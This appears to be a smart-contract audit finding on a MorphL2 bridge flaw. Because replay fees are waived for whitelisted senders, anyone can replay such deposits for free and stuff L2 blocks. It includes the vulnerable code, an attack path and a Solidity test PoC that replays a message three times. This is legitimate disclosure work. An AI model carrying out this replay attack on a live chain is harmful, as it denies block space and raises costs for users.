Shambolic Banana Barbel

High

# Blocks can be stuffed at no cost by replaying whitelisted bridge transactions

### Summary

The ability for an attacker to replay whitelisted deposits allows them to use 30mm gas on L2 per L1 block at no cost, dramatically reducing block space and spiking L2 gas prices.

### Root Cause

The fee charged for deposits is calculated in [L1MessageQueueWithGasPriceOracle.sol#L111-L117](https://github.com/sherlock-audit/2024-08-morphl2/blob/main/morph/contracts/contracts/l1/rollup/L1MessageQueueWithGasPriceOracle.sol#L111-L117) as:
```solidity
function estimateCrossDomainMessageFee(address _sender, uint256 _gasLimit) external view returns (uint256) {
    // GasFee is waived for whitelisted users
    if (IWhitelist(whitelistChecker).isSenderAllowed(_sender)) {
        return 0;
    }
    return _gasLimit * l2BaseFee;
}
```
In `L1CrossDomainMessenger.sol`, the `replayMessage()` function allows any user to replay a deposit transaction for another user. If we look at the implementation, we can see that the fee charged is based on the `_from` address of the deposit, not the caller:
```solidity
uint256 _fee = IL1MessageQueue(_messageQueue).estimateCrossDomainMessageFee(_from, _newGasLimit);
```
This means that an attacker can replay any deposit from a whitelisted user, with any gas limit (up to the maximum of 10mm gas), at no cost. This is true even if `l2BaseFee` is increased, since it is not taken into account when the fee is calculated for a whitelisted sender.

When L2 blocks are created, L1 messages are prioritized first. Only after these L1 messages have been exhausted are L2 transactions added to the block.

Because the L2 block gas limit is 30mm, the L1 message gas limit is 10mm, and each transaction is allowed up to 3 replay attempts, it works out that any individual whitelisted deposit can be replayed 3 times at 10mm gas each to fill a block.

This allows an attacker to fill arbitrary L2 blocks at no cost, regardless of the L2 base fee increases that will occur in response.

### Internal pre-conditions

1. There must be sufficient historical whitelisted deposits to to fill many blocks.

### External pre-conditions

None

### Attack Path

1. Attacker puts together a list of all historical whitelisted deposits.
2. Attacker replays each deposit 3 times with 10mm gas each each block.
3. L2 gas costs dramatically increase and block space decreases, but the attacker can continue the attack at no cost indefinitely.

### Impact

Blocks on L2 can be stuffed with transactions at no cost to the attacker, spiking gas prices and reducing block space.

### PoC

The following test can be added to `L1CrossDomainMessenger.t.sol` to demonstrate the attack:
```solidity
function testPapa_replayWhitelist() public {
    // add the multisig to the whitelist
    hevm.startPrank(multisig);
    address[] memory whiteList = new address[](1);
    whiteList[0] = address(multisig);
    whitelistChecker.updateWhitelistStatus(whiteList, true);

    // multsig sends a deposit message
    l1CrossDomainMessenger.sendMessage(multisig, 0, "", 100_000);
    hevm.stopPrank();

    // now the attacker can take over and replay without providing any fee
    uint nonce = l1MessageQueueWithGasPriceOracle.nextCrossDomainMessageIndex() - 1;
    for (uint i; i < 3; i++) {
        l1CrossDomainMessenger.replayMessage(multisig, multisig, 0, nonce, "", 10_000_000, address(this));
    }
}
```

### Mitigation

Only allow the original depositor to call `replayMessage()`.